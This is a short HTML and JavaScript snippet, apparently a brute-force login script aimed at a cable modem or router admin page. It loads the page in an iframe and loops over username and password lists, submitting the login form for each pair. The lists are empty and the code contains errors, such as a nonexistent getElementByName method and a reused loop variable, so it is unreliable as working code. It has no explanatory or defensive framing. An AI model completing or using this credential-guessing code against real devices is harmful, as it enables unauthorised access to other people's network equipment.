<script>
var username = window.frames["framename"].document.getElementById("focusUsername");
var password = window.frames["framename"].document.getElementById("password_login");
var form = window.frames["framename"].document.getElementByName("Docsis_system");
var passwords=[];
var logins = [];
for (var i = 0, len = logins.length; i < len; i++) {
  username.value = logins[i];
  for(var j = 0, len = passwords.length; j < len; j++) {
   password.value = passwords[j];
   form.submit();
  }
}
</script>
<iframe src="IPROUTERA" name="framename"></iframe>